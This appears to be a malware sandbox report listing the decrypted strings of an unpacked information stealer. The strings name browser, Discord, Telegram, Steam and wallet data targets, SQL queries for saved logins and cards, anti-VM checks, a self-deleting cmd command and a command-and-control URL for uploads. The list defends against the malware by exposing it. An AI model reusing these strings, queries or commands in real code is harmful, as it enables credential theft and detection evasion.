Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: IsWow64Process
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Process32Next
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetLocalTime
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: FreeLibrary
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetTimeZoneInformation
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetSystemPowerStatus
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetVolumeInformationA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetWindowsDirectoryA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Process32First
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetLocaleInfoA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetUserDefaultLocaleName
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetModuleFileNameA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: DeleteFileA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: FindNextFileA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: LocalFree
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: FindClose
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SetEnvironmentVariableA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: LocalAlloc
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetFileSizeEx
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ReadFile
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SetFilePointer
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: WriteFile
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CreateFileA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: FindFirstFileA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CopyFileA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: VirtualProtect
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetLastError
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: lstrcpynA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: MultiByteToWideChar
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GlobalFree
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: WideCharToMultiByte
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GlobalAlloc
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: OpenProcess
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: TerminateProcess
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetCurrentProcessId
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: gdiplus.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ole32.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: bcrypt.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: wininet.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: shlwapi.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: shell32.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: psapi.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: rstrtmgr.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CreateCompatibleBitmap
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SelectObject
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BitBlt
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: DeleteObject
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CreateCompatibleDC
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdipGetImageEncodersSize
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdipGetImageEncoders
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdiplusStartup
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdiplusShutdown
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdipSaveImageToStream
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdipDisposeImage
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdipFree
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetHGlobalFromStream
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CreateStreamOnHGlobal
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CoUninitialize
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CoInitialize
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CoCreateInstance
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BCryptDecrypt
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BCryptSetProperty
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BCryptDestroyKey
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetWindowRect
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetDesktopWindow
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetDC
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CloseWindow
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: wsprintfA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: EnumDisplayDevicesA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetKeyboardLayoutList
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CharToOemW
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: wsprintfW
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RegQueryValueExA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RegEnumKeyExA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RegOpenKeyExA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RegCloseKey
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RegEnumValueA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CryptBinaryToStringA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CryptUnprotectData
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SHGetFolderPathA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ShellExecuteExA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: InternetOpenUrlA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: InternetConnectA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: InternetCloseHandle
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: InternetOpenA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: HttpSendRequestA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: HttpOpenRequestA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: InternetReadFile
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: InternetCrackUrlA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: StrCmpCA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: StrStrA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: StrCmpCW
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: PathMatchSpecA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetModuleFileNameExA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RmStartSession
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RmRegisterResources
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RmGetList
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RmEndSession
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_open
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_prepare_v2
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_step
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_column_text
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_finalize
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_close
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_column_bytes
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_column_blob
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: encrypted_key
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: NSS_Init
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: NSS_Shutdown
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: PK11_FreeSlot
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: PK11_Authenticate
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: PK11SDR_Decrypt
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: C:\ProgramData\
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: browser:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: profile:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: url:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: login:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: password:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Opera
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: OperaGX
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Network
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: cookies
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: FALSE
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: autofill
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SELECT name, value FROM autofill
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: history
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: name:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: month:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: year:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: card:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Cookies
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Login Data
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Web Data
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: History
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: logins.json
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: formSubmitURL
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: usernameField
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: encryptedUsername
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: encryptedPassword
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: formhistory.sqlite
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: cookies.sqlite
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: places.sqlite
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: plugins
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Local Extension Settings
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Sync Extension Settings
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: IndexedDB
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Opera Stable
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Opera GX Stable
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CURRENT
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: chrome-extension_
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: _0.indexeddb.leveldb
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Local State
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: profiles.ini
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: chrome
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: opera
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: firefox
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: wallets
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: %08lX%04lX%lu
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ProductName
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: DisplayName
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ProcessorNameString
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - IP: IP?
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: DisplayVersion
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Network Info:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - Country: ISO?
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: System Summary:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - HWID:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - OS:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - Architecture:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - UserName:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - Computer Name:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - Local Time:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - UTC:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - Language:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - Keyboards:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - Laptop:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - Running Path:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - CPU:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - Threads:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - Cores:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - RAM:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - Display Resolution:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: - GPU:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: User Agents:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Installed Apps:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: All Users:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Current User:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Process List:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: system_info.txt
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: freebl3.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: mozglue.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: msvcp140.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: nss3.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: softokn3.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: vcruntime140.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: \Temp\
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: runas
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: /c start
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: %DESKTOP%
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: %APPDATA%
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: %LOCALAPPDATA%
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: %USERPROFILE%
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: %DOCUMENTS%
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: %PROGRAMFILES%
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: %PROGRAMFILES_86%
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: %RECENT%
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: *.lnk
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: files
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: \discord\
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: \Local Storage\leveldb
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: \Telegram Desktop\
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: key_datas
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: D877F783D5D3EF8C*
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: A7FDF864FBC10B77*
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: F8806DD0C461824F*
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Telegram
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: *.tox
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: *.ini
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Password
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Pidgin
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: accounts.xml
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: dQw4w9WgXcQ
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ssfn*
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: config.vdf
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: 00000001
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: 00000002
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: 00000003
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: 00000004
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: \Outlook\accounts.txt
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: \.purple\
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: token:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Software\Valve\Steam
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SteamPath
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: \config\
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: DialogConfig.vdf
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: libraryfolders.vdf
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: loginusers.vdf
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: \Steam\
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: browsers
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: \Discord\tokens.txt
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: https
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: HTTP/1.1
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: build
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: token
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: file_name
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: message
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: screenshot.jpg
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetProcAddress
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: LoadLibraryA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: lstrcatA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: OpenEventA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CreateEventA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CloseHandle
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Sleep
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetUserDefaultLangID
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: VirtualAllocExNuma
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: VirtualFree
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetSystemInfo
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: VirtualAlloc
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: HeapAlloc
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetComputerNameA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: lstrcpyA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetProcessHeap
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetCurrentProcess
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: lstrlenA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ExitProcess
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GlobalMemoryStatusEx
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetSystemTime
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SystemTimeToFileTime
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: advapi32.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: gdi32.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: user32.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: crypt32.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ntdll.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetUserNameA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CreateDCA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetDeviceCaps
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ReleaseDC
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CryptStringToBinaryA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sscanf
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: VMwareVMware
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: HAL9TH
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: JohnDoe
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: DISPLAY
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: %hu/%hu/%hu
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: http://dskflherlkhopihsf.com
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: /d414f888bed8c202.php
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: /985f606317f3e8dd/
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: default
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetEnvironmentVariableA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetFileAttributesA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GlobalLock
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: HeapFree
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetFileSize
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GlobalSize
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: IsWow64Process
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Process32Next
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetLocalTime
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: FreeLibrary
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetTimeZoneInformation
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetSystemPowerStatus
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetVolumeInformationA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetWindowsDirectoryA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Process32First
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetLocaleInfoA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetUserDefaultLocaleName
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetModuleFileNameA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: DeleteFileA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: FindNextFileA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: LocalFree
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: FindClose
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SetEnvironmentVariableA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: LocalAlloc
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetFileSizeEx
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ReadFile
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SetFilePointer
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: WriteFile
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CreateFileA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: FindFirstFileA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CopyFileA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: VirtualProtect
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetLastError
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: lstrcpynA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: MultiByteToWideChar
